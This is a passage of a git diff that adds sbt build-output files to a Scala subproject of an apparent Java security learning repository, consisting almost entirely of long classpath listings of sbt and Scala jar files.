+/Users/drunkbaby/.sbt/boot/scala-2.12.19/lib/scala-library.jar:/Users/drunkbaby/.sbt/boot/scala-2.12.19/lib/scala-compiler.jar:/Users/drunkbaby/.sbt/boot/scala-2.12.19/lib/scala-xml_2.12-2.2.0.jar:/Users/drunkbaby/.sbt/boot/scala-2.12.19/lib/scala-reflect.jar:/Users/drunkbaby/.sbt/boot/scala-2.12.19/org.scala-sbt/sbt/1.10.1/main_2.12-1.10.1.jar:/Users/drunkbaby/.sbt/boot/scala-2.12.19/org.scala-sbt/sbt/1.10.1/io_2.12-1.10.0.jar:/Users/drunkbaby/.sbt/boot/scala-2.12.19/org.scala-sbt/sbt/1.10.1/jna-5.13.0.jar:/Users/drunkbaby/.sbt/boot/scala-2.12.19/org.scala-sbt/sbt/1.10.1/zinc-persist-core-assembly-1.10.1.jar:/Users/drunkbaby/.sbt/boot/scala-2.12.19/org.scala-sbt/sbt/1.10.1/slf4j-api-1.7.36.jar:/Users/drunkbaby/.sbt/boot/scala-2.12.19/org.scala-sbt/sbt/1.10.1/jline-2.14.7-sbt-9c3b6aca11c57e339441442bbf58e550cdfecb79.jar:/Users/drunkbaby/.sbt/boot/scala-2.12.19/org.scala-sbt/sbt/1.10.1/command_2.12-1.10.1.jar:/Users/drunkbaby/.sbt/boot/scala-2.12.19/org.scala-sbt/sbt/1.10.1/jline-reader-3.24.1.jar:/Users/drunkbaby/.sbt/boot/scala-2.12.19/org.scala-sbt/sbt/1.10.1/scala-collection-compat_2.12-2.11.0.jar:/Users/drunkbaby/.sbt/boot/scala-2.12.19/org.scala-sbt/sbt/1.10.1/util-control_2.12-1.10.1.jar:/Users/drunkbaby/.sbt/boot/scala-2.12.19/org.scala-sbt/sbt/1.10.1/log4j-api-2.17.1.jar:/Users/drunkbaby/.sbt/boot/scala-2.12.19/org.scala-sbt/sbt/1.10.1/compiler-bridge_2.12-1.10.1.jar:/Users/drunkbaby/.sbt/boot/scala-2.12.19/org.scala-sbt/sbt/1.10.1/main-settings_2.12-1.10.1.jar:/Users/drunkbaby/.sbt/boot/scala-2.12.19/org.scala-sbt/sbt/1.10.1/sjson-new-core_2.12-0.10.1.jar:/Users/drunkbaby/.sbt/boot/scala-2.12.19/org.scala-sbt/sbt/1.10.1/sbinary_2.12-0.5.1.jar:/Users/drunkbaby/.sbt/boot/scala-2.12.19/org.scala-sbt/sbt/1.10.1/error_prone_annotations-2.4.0.jar:/Users/drunkbaby/.sbt/boot/scala-2.12.19/org.scala-sbt/sbt/1.10.1/gigahorse-core_2.12-0.7.0.jar:/Users/drunkbaby/.sbt/boot/scala-2.12.19/org.scala-sbt/sbt/1.10.1/config-1.4.2.jar:/Users/drunkbaby/.sbt/boot/scala-2.12.19/org.scala-sbt/sbt/1.10.1/test-interface-1.0.jar:/Users/drunkbaby/.sbt/boot/scala-2.12.19/org.scala-sbt/sbt/1.10.1/zinc-persist_2.12-1.10.1.jar:/Users/drunkbaby/.sbt/boot/scala-2.12.19/org.scala-sbt/sbt/1.10.1/ivy-2.3.0-sbt-396a783bba347016e7fe30dacc60d355be607fe2.jar:/Users/drunkbaby/.sbt/boot/scala-2.12.19/org.scala-sbt/sbt/1.10.1/actions_2.12-1.10.1.jar:/Users/drunkbaby/.sbt/boot/scala-2.12.19/org.scala-sbt/sbt/1.10.1/sbt-1.10.1.jar:/Users/drunkbaby/.sbt/boot/scala-2.12.19/org.scala-sbt/sbt/1.10.1/scala-library-2.12.19.jar:/Users/drunkbaby/.sbt/boot/scala-2.12.19/org.scala-sbt/sbt/1.10.1/jline-terminal-3.24.1.jar:/Users/drunkbaby/.sbt/boot/scala-2.12.19/org.scala-sbt/sbt/1.10.1/gigahorse-apache-http_2.12-0.7.0.jar:/Users/drunkbaby/.sbt/boot/scala-2.12.19/org.scala-sbt/sbt/1.10.1/checker-qual-3.4.1.jar:/Users/drunkbaby/.sbt/boot/scala-2.12.19/org.scala-sbt/sbt/1.10.1/caffeine-2.8.5.jar:/Users/drunkbaby/.sbt/boot/scala-2.12.19/org.scala-sbt/sbt/1.10.1/librarymanagement-core_2.12-1.10.1.jar:/Users/drunkbaby/.sbt/boot/scala-2.12.19/org.scala-sbt/sbt/1.10.1/util-tracking_2.12-1.10.1.jar:/Users/drunkbaby/.sbt/boot/scala-2.12.19/org.scala-sbt/sbt/1.10.1/testing_2.12-1.10.1.jar:/Users/drunkbaby/.sbt/boot/scala-2.12.19/org.scala-sbt/sbt/1.10.1/log4j-core-2.17.1.jar:/Users/drunkbaby/.sbt/boot/scala-2.12.19/org.scala-sbt/sbt/1.10.1/test-agent-1.10.1.jar:/Users/drunkbaby/.sbt/boot/scala-2.12.19/org.scala-sbt/sbt/1.10.1/launcher-interface-1.4.3.jar:/Users/drunkbaby/.sbt/boot/scala-2.12.19/org.scala-sbt/sbt/1.10.1/zinc-apiinfo_2.12-1.10.1.jar:/Users/drunkbaby/.sbt/boot/scala-2.12.19/org.scala-sbt/sbt/1.10.1/log4j-slf4j-impl-2.17.1.jar:/Users/drunkbaby/.sbt/boot/scala-2.12.19/org.scala-sbt/sbt/1.10.1/tasks_2.12-1.10.1.jar:/Users/drunkbaby/.sbt/boot/scala-2.12.19/org.scala-sbt/sbt/1.10.1/file-tree-views-2.1.12.jar:/Users/drunkbaby/.sbt/boot/scala-2.12.19/org.scala-sbt/sbt/1.10.1/collections_2.12-1.10.1.jar:/Users/drunkbaby/.sbt/boot/scala-2.12.19/org.scala-sbt/sbt/1.10.1/sjson-new-scalajson_2.12-0.10.1.jar:/Users/drunkbaby/.sbt/boot/scala-2.12.19/org.scala-sbt/sbt/1.10.1/task-system_2.12-1.10.1.jar:/Users/drunkbaby/.sbt/boot/scala-2.12.19/org.scala-sbt/sbt/1.10.1/zinc-lm-integration_2.12-1.10.1.jar:/Users/drunkbaby/.sbt/boot/scala-2.12.19/org.scala-sbt/sbt/1.10.1/sjson-new-murmurhash_2.12-0.10.1.jar:/Users/drunkbaby/.sbt/boot/scala-2.12.19/org.scala-sbt/sbt/1.10.1/ssl-config-core_2.12-0.6.1.jar:/Users/drunkbaby/.sbt/boot/scala-2.12.19/org.scala-sbt/sbt/1.10.1/librarymanagement-ivy_2.12-1.10.1.jar:/Users/drunkbaby/.sbt/boot/scala-2.12.19/org.scala-sbt/sbt/1.10.1/jline-terminal-jna-3.24.1.jar:/Users/drunkbaby/.sbt/boot/scala-2.12.19/org.scala-sbt/sbt/1.10.1/zinc-compile-core_2.12-1.10.1.jar:/Users/drunkbaby/.sbt/boot/scala-2.12.19/org.scala-sbt/sbt/1.10.1/util-cache_2.12-1.10.1.jar:/Users/drunkbaby/.sbt/boot/scala-2.12.19/org.scala-sbt/sbt/1.10.1/scala-parser-combinators_2.12-1.1.2.jar:/Users/drunkbaby/.sbt/boot/scala-2.12.19/org.scala-sbt/sbt/1.10.1/zero-allocation-hashing-0.16.jar:/Users/drunkbaby/.sbt/boot/scala-2.12.19/org.scala-sbt/sbt/1.10.1/jline-terminal-jansi-3.24.1.jar:/Users/drunkbaby/.sbt/boot/scala-2.12.19/org.scala-sbt/sbt/1.10.1/run_2.12-1.10.1.jar:/Users/drunkbaby/.sbt/boot/scala-2.12.19/org.scala-sbt/sbt/1.10.1/zinc-core_2.12-1.10.1.jar:/Users/drunkbaby/.sbt/boot/scala-2.12.19/org.scala-sbt/sbt/1.10.1/reactive-streams-1.0.3.jar:/Users/drunkbaby/.sbt/boot/scala-2.12.19/org.scala-sbt/sbt/1.10.1/scala-reflect-2.12.19.jar:/Users/drunkbaby/.sbt/boot/scala-2.12.19/org.scala-sbt/sbt/1.10.1/jna-platform-5.13.0.jar:/Users/drunkbaby/.sbt/boot/scala-2.12.19/org.scala-sbt/sbt/1.10.1/disruptor-3.4.2.jar:/Users/drunkbaby/.sbt/boot/scala-2.12.19/org.scala-sbt/sbt/1.10.1/template-resolver-0.1.jar:/Users/drunkbaby/.sbt/boot/scala-2.12.19/org.scala-sbt/sbt/1.10.1/jline-builtins-3.24.1.jar:/Users/drunkbaby/.sbt/boot/scala-2.12.19/org.scala-sbt/sbt/1.10.1/util-relation_2.12-1.10.1.jar:/Users/drunkbaby/.sbt/boot/scala-2.12.19/org.scala-sbt/sbt/1.10.1/scala-compiler-2.12.19.jar:/Users/drunkbaby/.sbt/boot/scala-2.12.19/org.scala-sbt/sbt/1.10.1/scripted-plugin_2.12-1.10.1.jar:/Users/drunkbaby/.sbt/boot/scala-2.12.19/org.scala-sbt/sbt/1.10.1/protocol_2.12-1.10.1.jar:/Users/drunkbaby/.sbt/boot/scala-2.12.19/org.scala-sbt/sbt/1.10.1/jline-style-3.24.1.jar:/Users/drunkbaby/.sbt/boot/scala-2.12.19/org.scala-sbt/sbt/1.10.1/completion_2.12-1.10.1.jar:/Users/drunkbaby/.sbt/boot/scala-2.12.19/org.scala-sbt/sbt/1.10.1/zinc-compile_2.12-1.10.1.jar:/Users/drunkbaby/.sbt/boot/scala-2.12.19/org.scala-sbt/sbt/1.10.1/scala-xml_2.12-2.3.0.jar:/Users/drunkbaby/.sbt/boot/scala-2.12.19/org.scala-sbt/sbt/1.10.1/ipcsocket-1.6.2.jar:/Users/drunkbaby/.sbt/boot/scala-2.12.19/org.scala-sbt/sbt/1.10.1/shaded-jawn-parser_2.12-1.3.2.jar:/Users/drunkbaby/.sbt/boot/scala-2.12.19/org.scala-sbt/sbt/1.10.1/zinc-classpath_2.12-1.10.1.jar:/Users/drunkbaby/.sbt/boot/scala-2.12.19/org.scala-sbt/sbt/1.10.1/jsch-0.2.17.jar:/Users/drunkbaby/.sbt/boot/scala-2.12.19/org.scala-sbt/sbt/1.10.1/util-position_2.12-1.10.1.jar:/Users/drunkbaby/.sbt/boot/scala-2.12.19/org.scala-sbt/sbt/1.10.1/zinc_2.12-1.10.1.jar:/Users/drunkbaby/.sbt/boot/scala-2.12.19/org.scala-sbt/sbt/1.10.1/lm-coursier-shaded_2.12-2.1.4.jar:/Users/drunkbaby/.sbt/boot/scala-2.12.19/org.scala-sbt/sbt/1.10.1/compiler-interface-1.10.1.jar:/Users/drunkbaby/.sbt/boot/scala-2.12.19/org.scala-sbt/sbt/1.10.1/shaded-scalajson_2.12-1.0.0-M4.jar:/Users/drunkbaby/.sbt/boot/scala-2.12.19/org.scala-sbt/sbt/1.10.1/util-interface-1.10.1.jar:/Users/drunkbaby/.sbt/boot/scala-2.12.19/org.scala-sbt/sbt/1.10.1/zinc-classfile_2.12-1.10.1.jar:/Users/drunkbaby/.sbt/boot/scala-2.12.19/org.scala-sbt/sbt/1.10.1/jline-native-3.24.1.jar:/Users/drunkbaby/.sbt/boot/scala-2.12.19/org.scala-sbt/sbt/1.10.1/util-logging_2.12-1.10.1.jar:/Users/drunkbaby/.sbt/boot/scala-2.12.19/org.scala-sbt/sbt/1.10.1/jansi-2.4.1.jar:/Users/drunkbaby/.sbt/boot/scala-2.12.19/org.scala-sbt/sbt/1.10.1/shaded-apache-httpasyncclient-0.7.0.jar:/Users/drunkbaby/.sbt/boot/scala-2.12.19/org.scala-sbt/sbt/1.10.1/core-macros_2.12-1.10.1.jar:/Users/drunkbaby/.sbt/boot/scala-2.12.19/org.scala-sbt/sbt/1.10.1/logic_2.12-1.10.1.jar diff --git a/JavaSecurity/JDK/Scala1/project/target/streams/runtime/fullClasspath/_global/streams/export b/JavaSecurity/JDK/Scala1/project/target/streams/runtime/fullClasspath/_global/streams/export new file mode 100644 index 00000000..7078ef8f --- /dev/null +++ b/JavaSecurity/JDK/Scala1/project/target/streams/runtime/fullClasspath/_global/streams/export @@ -0,0 +1 @@ +/Users/drunkbaby/Desktop/Codes/JavaSecurityLearning/JavaSecurity/JDK/Scala1/project/target/scala-2.12/sbt-1.0/classes:/Users/drunkbaby/.sbt/boot/scala-2.12.19/lib/scala-library.jar:/Users/drunkbaby/.sbt/boot/scala-2.12.19/lib/scala-compiler.jar:/Users/drunkbaby/.sbt/boot/scala-2.12.19/lib/scala-xml_2.12-2.2.0.jar:/Users/drunkbaby/.sbt/boot/scala-2.12.19/lib/scala-reflect.jar:/Users/drunkbaby/.sbt/boot/scala-2.12.19/org.scala-sbt/sbt/1.10.1/main_2.12-1.10.1.jar:/Users/drunkbaby/.sbt/boot/scala-2.12.19/org.scala-sbt/sbt/1.10.1/io_2.12-1.10.0.jar:/Users/drunkbaby/.sbt/boot/scala-2.12.19/org.scala-sbt/sbt/1.10.1/jna-5.13.0.jar:/Users/drunkbaby/.sbt/boot/scala-2.12.19/org.scala-sbt/sbt/1.10.1/zinc-persist-core-assembly-1.10.1.jar:/Users/drunkbaby/.sbt/boot/scala-2.12.19/org.scala-sbt/sbt/1.10.1/slf4j-api-1.7.36.jar:/Users/drunkbaby/.sbt/boot/scala-2.12.19/org.scala-sbt/sbt/1.10.1/jline-2.14.7-sbt-9c3b6aca11c57e339441442bbf58e550cdfecb79.jar:/Users/drunkbaby/.sbt/boot/scala-2.12.19/org.scala-sbt/sbt/1.10.1/command_2.12-1.10.1.jar:/Users/drunkbaby/.sbt/boot/scala-2.12.19/org.scala-sbt/sbt/1.10.1/jline-reader-3.24.1.jar:/Users/drunkbaby/.sbt/boot/scala-2.12.19/org.scala-sbt/sbt/1.10.1/scala-collection-compat_2.12-2.11.0.jar:/Users/drunkbaby/.sbt/boot/scala-2.12.19/org.scala-sbt/sbt/1.10.1/util-control_2.12-1.10.1.jar:/Users/drunkbaby/.sbt/boot/scala-2.12.19/org.scala-sbt/sbt/1.10.1/log4j-api-2.17.1.jar:/Users/drunkbaby/.sbt/boot/scala-2.12.19/org.scala-sbt/sbt/1.10.1/compiler-bridge_2.12-1.10.1.jar:/Users/drunkbaby/.sbt/boot/scala-2.12.19/org.scala-sbt/sbt/1.10.1/main-settings_2.12-1.10.1.jar:/Users/drunkbaby/.sbt/boot/scala-2.12.19/org.scala-sbt/sbt/1.10.1/sjson-new-core_2.12-0.10.1.jar:/Users/drunkbaby/.sbt/boot/scala-2.12.19/org.scala-sbt/sbt/1.10.1/sbinary_2.12-0.5.1.jar:/Users/drunkbaby/.sbt/boot/scala-2.12.19/org.scala-sbt/sbt/1.10.1/error_prone_annotations-2.4.0.jar:/Users/drunkbaby/.sbt/boot/scala-2.12.19/org.scala-sbt/sbt/1.10.1/gigahorse-core_2.12-0.7.0.jar:/Users/drunkbaby/.sbt/boot/scala-2.12.19/org.scala-sbt/sbt/1.10.1/config-1.4.2.jar:/Users/drunkbaby/.sbt/boot/scala-2.12.19/org.scala-sbt/sbt/1.10.1/test-interface-1.0.jar:/Users/drunkbaby/.sbt/boot/scala-2.12.19/org.scala-sbt/sbt/1.10.1/zinc-persist_2.12-1.10.1.jar:/Users/drunkbaby/.sbt/boot/scala-2.12.19/org.scala-sbt/sbt/1.10.1/ivy-2.3.0-sbt-396a783bba347016e7fe30dacc60d355be607fe2.jar:/Users/drunkbaby/.sbt/boot/scala-2.12.19/org.scala-sbt/sbt/1.10.1/actions_2.12-1.10.1.jar:/Users/drunkbaby/.sbt/boot/scala-2.12.19/org.scala-sbt/sbt/1.10.1/sbt-1.10.1.jar:/Users/drunkbaby/.sbt/boot/scala-2.12.19/org.scala-sbt/sbt/1.10.1/scala-library-2.12.19.jar:/Users/drunkbaby/.sbt/boot/scala-2.12.19/org.scala-sbt/sbt/1.10.1/jline-terminal-3.24.1.jar:/Users/drunkbaby/.sbt/boot/scala-2.12.19/org.scala-sbt/sbt/1.10.1/gigahorse-apache-http_2.12-0.7.0.jar:/Users/drunkbaby/.sbt/boot/scala-2.12.19/org.scala-sbt/sbt/1.10.1/checker-qual-3.4.1.jar:/Users/drunkbaby/.sbt/boot/scala-2.12.19/org.scala-sbt/sbt/1.10.1/caffeine-2.8.5.jar:/Users/drunkbaby/.sbt/boot/scala-2.12.19/org.scala-sbt/sbt/1.10.1/librarymanagement-core_2.12-1.10.1.jar:/Users/drunkbaby/.sbt/boot/scala-2.12.19/org.scala-sbt/sbt/1.10.1/util-tracking_2.12-1.10.1.jar:/Users/drunkbaby/.sbt/boot/scala-2.12.19/org.scala-sbt/sbt/1.10.1/testing_2.12-1.10.1.jar:/Users/drunkbaby/.sbt/boot/scala-2.12.19/org.scala-sbt/sbt/1.10.1/log4j-core-2.17.1.jar:/Users/drunkbaby/.sbt/boot/scala-2.12.19/org.scala-sbt/sbt/1.10.1/test-agent-1.10.1.jar:/Users/drunkbaby/.sbt/boot/scala-2.12.19/org.scala-sbt/sbt/1.10.1/launcher-interface-1.4.3.jar:/Users/drunkbaby/.sbt/boot/scala-2.12.19/org.scala-sbt/sbt/1.10.1/zinc-apiinfo_2.12-1.10.1.jar:/Users/drunkbaby/.sbt/boot/scala-2.12.19/org.scala-sbt/sbt/1.10.1/log4j-slf4j-impl-2.17.1.jar:/Users/drunkbaby/.sbt/boot/scala-2.12.19/org.scala-sbt/sbt/1.10.1/tasks_2.12-1.10.1.jar:/Users/drunkbaby/.sbt/boot/scala-2.12.19/org.scala-sbt/sbt/1.10.1/file-tree-views-2.1.12.jar:/Users/drunkbaby/.sbt/boot/scala-2.12.19/org.scala-sbt/sbt/1.10.1/collections_2.12-1.10.1.jar:/Users/drunkbaby/.sbt/boot/scala-2.12.19/org.scala-sbt/sbt/1.10.1/sjson-new-scalajson_2.12-0.10.1.jar:/Users/drunkbaby/.sbt/boot/scala-2.12.19/org.scala-sbt/sbt/1.10.1/task-system_2.12-1.10.1.jar:/Users/drunkbaby/.sbt/boot/scala-2.12.19/org.scala-sbt/sbt/1.10.1/zinc-lm-integration_2.12-1.10.1.jar:/Users/drunkbaby/.sbt/boot/scala-2.12.19/org.scala-sbt/sbt/1.10.1/sjson-new-murmurhash_2.12-0.10.1.jar:/Users/drunkbaby/.sbt/boot/scala-2.12.19/org.scala-sbt/sbt/1.10.1/ssl-config-core_2.12-0.6.1.jar:/Users/drunkbaby/.sbt/boot/scala-2.12.19/org.scala-sbt/sbt/1.10.1/librarymanagement-ivy_2.12-1.10.1.jar:/Users/drunkbaby/.sbt/boot/scala-2.12.19/org.scala-sbt/sbt/1.10.1/jline-terminal-jna-3.24.1.jar:/Users/drunkbaby/.sbt/boot/scala-2.12.19/org.scala-sbt/sbt/1.10.1/zinc-compile-core_2.12-1.10.1.jar:/Users/drunkbaby/.sbt/boot/scala-2.12.19/org.scala-sbt/sbt/1.10.1/util-cache_2.12-1.10.1.jar:/Users/drunkbaby/.sbt/boot/scala-2.12.19/org.scala-sbt/sbt/1.10.1/scala-parser-combinators_2.12-1.1.2.jar:/Users/drunkbaby/.sbt/boot/scala-2.12.19/org.scala-sbt/sbt/1.10.1/zero-allocation-hashing-0.16.jar:/Users/drunkbaby/.sbt/boot/scala-2.12.19/org.scala-sbt/sbt/1.10.1/jline-terminal-jansi-3.24.1.jar:/Users/drunkbaby/.sbt/boot/scala-2.12.19/org.scala-sbt/sbt/1.10.1/run_2.12-1.10.1.jar:/Users/drunkbaby/.sbt/boot/scala-2.12.19/org.scala-sbt/sbt/1.10.1/zinc-core_2.12-1.10.1.jar:/Users/drunkbaby/.sbt/boot/scala-2.12.19/org.scala-sbt/sbt/1.10.1/reactive-streams-1.0.3.jar:/Users/drunkbaby/.sbt/boot/scala-2.12.19/org.scala-sbt/sbt/1.10.1/scala-reflect-2.12.19.jar:/Users/drunkbaby/.sbt/boot/scala-2.12.19/org.scala-sbt/sbt/1.10.1/jna-platform-5.13.0.jar:/Users/drunkbaby/.sbt/boot/scala-2.12.19/org.scala-sbt/sbt/1.10.1/disruptor-3.4.2.jar:/Users/drunkbaby/.sbt/boot/scala-2.12.19/org.scala-sbt/sbt/1.10.1/template-resolver-0.1.jar:/Users/drunkbaby/.sbt/boot/scala-2.12.19/org.scala-sbt/sbt/1.10.1/jline-builtins-3.24.1.jar:/Users/drunkbaby/.sbt/boot/scala-2.12.19/org.scala-sbt/sbt/1.10.1/util-relation_2.12-1.10.1.jar:/Users/drunkbaby/.sbt/boot/scala-2.12.19/org.scala-sbt/sbt/1.10.1/scala-compiler-2.12.19.jar:/Users/drunkbaby/.sbt/boot/scala-2.12.19/org.scala-sbt/sbt/1.10.1/scripted-plugin_2.12-1.10.1.jar:/Users/drunkbaby/.sbt/boot/scala-2.12.19/org.scala-sbt/sbt/1.10.1/protocol_2.12-1.10.1.jar:/Users/drunkbaby/.sbt/boot/scala-2.12.19/org.scala-sbt/sbt/1.10.1/jline-style-3.24.1.jar:/Users/drunkbaby/.sbt/boot/scala-2.12.19/org.scala-sbt/sbt/1.10.1/completion_2.12-1.10.1.jar:/Users/drunkbaby/.sbt/boot/scala-2.12.19/org.scala-sbt/sbt/1.10.1/zinc-compile_2.12-1.10.1.jar:/Users/drunkbaby/.sbt/boot/scala-2.12.19/org.scala-sbt/sbt/1.10.1/scala-xml_2.12-2.3.0.jar:/Users/drunkbaby/.sbt/boot/scala-2.12.19/org.scala-sbt/sbt/1.10.1/ipcsocket-1.6.2.jar:/Users/drunkbaby/.sbt/boot/scala-2.12.19/org.scala-sbt/sbt/1.10.1/shaded-jawn-parser_2.12-1.3.2.jar:/Users/drunkbaby/.sbt/boot/scala-2.12.19/org.scala-sbt/sbt/1.10.1/zinc-classpath_2.12-1.10.1.jar:/Users/drunkbaby/.sbt/boot/scala-2.12.19/org.scala-sbt/sbt/1.10.1/jsch-0.2.17.jar:/Users/drunkbaby/.sbt/boot/scala-2.12.19/org.scala-sbt/sbt/1.10.1/util-position_2.12-1.10.1.jar:/Users/drunkbaby/.sbt/boot/scala-2.12.19/org.scala-sbt/sbt/1.10.1/zinc_2.12-1.10.1.jar:/Users/drunkbaby/.sbt/boot/scala-2.12.19/org.scala-sbt/sbt/1.10.1/lm-coursier-shaded_2.12-2.1.4.jar:/Users/drunkbaby/.sbt/boot/scala-2.12.19/org.scala-sbt/sbt/1.10.1/compiler-interface-1.10.1.jar:/Users/drunkbaby/.sbt/boot/scala-2.12.19/org.scala-sbt/sbt/1.10.1/shaded-scalajson_2.12-1.0.0-M4.jar:/Users/drunkbaby/.sbt/boot/scala-2.12.19/org.scala-sbt/sbt/1.10.1/util-interface-1.10.1.jar:/Users/drunkbaby/.sbt/boot/scala-2.12.19/org.scala-sbt/sbt/1.10.1/zinc-classfile_2.12-1.10.1.jar:/Users/drunkbaby/.sbt/boot/scala-2.12.19/org.scala-sbt/sbt/1.10.1/jline-native-3.24.1.jar:/Users/drunkbaby/.sbt/boot/scala-2.12.19/org.scala-sbt/sbt/1.10.1/util-logging_2.12-1.10.1.jar:/Users/drunkbaby/.sbt/boot/scala-2.12.19/org.scala-sbt/sbt/1.10.1/jansi-2.4.1.jar:/Users/drunkbaby/.sbt/boot/scala-2.12.19/org.scala-sbt/sbt/1.10.1/shaded-apache-httpasyncclient-0.7.0.jar:/Users/drunkbaby/.sbt/boot/scala-2.12.19/org.scala-sbt/sbt/1.10.1/core-macros_2.12-1.10.1.jar:/Users/drunkbaby/.sbt/boot/scala-2.12.19/org.scala-sbt/sbt/1.10.1/logic_2.12-1.10.1.jar diff --git a/JavaSecurity/JDK/Scala1/project/target/streams/runtime/internalDependencyClasspath/_global/streams/export b/JavaSecurity/JDK/Scala1/project/target/streams/runtime/internalDependencyClasspath/_global/streams/export new file mode 100644 index 00000000..c9499290 --- /dev/null +++ b/JavaSecurity/JDK/Scala1/project/target/streams/runtime/internalDependencyClasspath/_global/streams/export @@ -0,0 +1 @@ +/Users/drunkbaby/Desktop/Codes/JavaSecurityLearning/JavaSecurity/JDK/Scala1/project/target/scala-2.12/sbt-1.0/classes diff --git a/JavaSecurity/JDK/Scala1/project/target/streams/runtime/internalDependencyClasspath/_global/streams/out b/JavaSecurity/JDK/Scala1/project/target/streams/runtime/internalDependencyClasspath/_global/streams/out new file mode 100644 index 00000000..e69de29b diff --git a/JavaSecurity/JDK/Scala1/project/target/streams/runtime/managedClasspath/_global/streams/export b/JavaSecurity/JDK/Scala1/project/target/streams/runtime/managedClasspath/_global/streams/export new file mode 100644 index 00000000..840acb78 --- /dev/null +++ b/JavaSecurity/JDK/Scala1/project/target/streams/runtime/managedClasspath/_global/streams/export @@ -0,0 +1 @@ +/Users/drunkbaby/.sbt/boot/scala-2.12.19/lib/scala-library.jar:/Users/drunkbaby/.sbt/boot/scala-2.12.19/lib/scala-compiler.jar:/Users/drunkbaby/.sbt/boot/scala-2.12.19/lib/scala-xml_2.12-2.2.0.jar:/Users/drunkbaby/.sbt/boot/scala-2.12.19/lib/scala-reflect.jar:/Users/drunkbaby/.sbt/boot/scala-2.12.19/org.scala-sbt/sbt/1.10.1/main_2.12-1.10.1.jar:/Users/drunkbaby/.sbt/boot/scala-2.12.19/org.scala-sbt/sbt/1.10.1/io_2.12-1.10.0.jar:/Users/drunkbaby/.sbt/boot/scala-2.12.19/org.scala-sbt/sbt/1.10.1/jna-5.13.0.jar:/Users/drunkbaby/.sbt/boot/scala-2.12.19/org.scala-sbt/sbt/1.10.1/zinc-persist-core-assembly-1.10.1.jar:/Users/drunkbaby/.sbt/boot/scala-2.12.19/org.scala-sbt/sbt/1.10.1/slf4j-api-1.7.36.jar:/Users/drunkbaby/.sbt/boot/scala-2.12.19/org.scala-sbt/sbt/1.10.1/jline-2.14.7-sbt-9c3b6aca11c57e339441442bbf58e550cdfecb79.jar:/Users/drunkbaby/.sbt/boot/scala-2.12.19/org.scala-sbt/sbt/1.10.1/command_2.12-1.10.1.jar:/Users/drunkbaby/.sbt/boot/scala-2.12.19/org.scala-sbt/sbt/1.10.1/jline-reader-3.24.1.jar:/Users/drunkbaby/.sbt/boot/scala-2.12.19/org.scala-sbt/sbt/1.10.1/scala-collection-compat_2.12-2.11.0.jar:/Users/drunkbaby/.sbt/boot/scala-2.12.19/org.scala-sbt/sbt/1.10.1/util-control_2.12-1.10.1.jar:/Users/drunkbaby/.sbt/boot/scala-2.12.19/org.scala-sbt/sbt/1.10.1/log4j-api-2.17.1.jar:/Users/drunkbaby/.sbt/boot/scala-2.12.19/org.scala-sbt/sbt/1.10.1/compiler-bridge_2.12-1.10.1.jar:/Users/drunkbaby/.sbt/boot/scala-2.12.19/org.scala-sbt/sbt/1.10.1/main-settings_2.12-1.10.1.jar:/Users/drunkbaby/.sbt/boot/scala-2.12.19/org.scala-sbt/sbt/1.10.1/sjson-new-core_2.12-0.10.1.jar:/Users/drunkbaby/.sbt/boot/scala-2.12.19/org.scala-sbt/sbt/1.10.1/sbinary_2.12-0.5.1.jar:/Users/drunkbaby/.sbt/boot/scala-2.12.19/org.scala-sbt/sbt/1.10.1/error_prone_annotations-2.4.0.jar:/Users/drunkbaby/.sbt/boot/scala-2.12.19/org.scala-sbt/sbt/1.10.1/gigahorse-core_2.12-0.7.0.jar:/Users/drunkbaby/.sbt/boot/scala-2.12.19/org.scala-sbt/sbt/1.10.1/config-1.4.2.jar:/Users/drunkbaby/.sbt/boot/scala-2.12.19/org.scala-sbt/sbt/1.10.1/test-interface-1.0.jar:/Users/drunkbaby/.sbt/boot/scala-2.12.19/org.scala-sbt/sbt/1.10.1/zinc-persist_2.12-1.10.1.jar:/Users/drunkbaby/.sbt/boot/scala-2.12.19/org.scala-sbt/sbt/1.10.1/ivy-2.3.0-sbt-396a783bba347016e7fe30dacc60d355be607fe2.jar:/Users/drunkbaby/.sbt/boot/scala-2.12.19/org.scala-sbt/sbt/1.10.1/actions_2.12-1.10.1.jar:/Users/drunkbaby/.sbt/boot/scala-2.12.19/org.scala-sbt/sbt/1.10.1/sbt-1.10.1.jar:/Users/drunkbaby/.sbt/boot/scala-2.12.19/org.scala-sbt/sbt/1.10.1/scala-library-2.12.19.jar:/Users/drunkbaby/.sbt/boot/scala-2.12.19/org.scala-sbt/sbt/1.10.1/jline-terminal-3.24.1.jar:/Users/drunkbaby/.sbt/boot/scala-2.12.19/org.scala-sbt/sbt/1.10.1/gigahorse-apache-http_2.12-0.7.0.jar:/Users/drunkbaby/.sbt/boot/scala-2.12.19/org.scala-sbt/sbt/1.10.1/checker-qual-3.4.1.jar:/Users/drunkbaby/.sbt/boot/scala-2.12.19/org.scala-sbt/sbt/1.10.1/caffeine-2.8.5.jar:/Users/drunkbaby/.sbt/boot/scala-2.12.19/org.scala-sbt/sbt/1.10.1/librarymanagement-core_2.12-1.10.1.jar:/Users/drunkbaby/.sbt/boot/scala-2.12.19/org.scala-sbt/sbt/1.10.1/util-tracking_2.12-1.10.1.jar:/Users/drunkbaby/.sbt/boot/scala-2.12.19/org.scala-sbt/sbt/1.10.1/testing_2.12-1.10.1.jar:/Users/drunkbaby/.sbt/boot/scala-2.12.19/org.scala-sbt/sbt/1.10.1/log4j-core-2.17.1.jar:/Users/drunkbaby/.sbt/boot/scala-2.12.19/org.scala-sbt/sbt/1.10.1/test-agent-1.10.1.jar:/Users/drunkbaby/.sbt/boot/scala-2.12.19/org.scala-sbt/sbt/1.10.1/launcher-interface-1.4.3.jar:/Users/drunkbaby/.sbt/boot/scala-2.12.19/org.scala-sbt/sbt/1.10.1/zinc-apiinfo_2.12-1.10.1.jar:/Users/drunkbaby/.sbt/boot/scala-2.12.19/org.scala-sbt/sbt/1.10.1/log4j-slf4j-impl-2.17.1.jar:/Users/drunkbaby/.sbt/boot/scala-2.12.19/org.scala-sbt/sbt/1.10.1/tasks_2.12-1.10.1.jar:/Users/drunkbaby/.sbt/boot/scala-2.12.19/org.scala-sbt/sbt/1.10.1/file-tree-views-2.1.12.jar:/Users/drunkbaby/.sbt/boot/scala-2.12.19/org.scala-sbt/sbt/1.10.1/collections_2.12-1.10.1.jar:/Users/drunkbaby/.sbt/boot/scala-2.12.19/org.scala-sbt/sbt/1.10.1/sjson-new-scalajson_2.12-0.10.1.jar:/Users/drunkbaby/.sbt/boot/scala-2.12.19/org.scala-sbt/sbt/1.10.1/task-system_2.12-1.10.1.jar:/Users/drunkb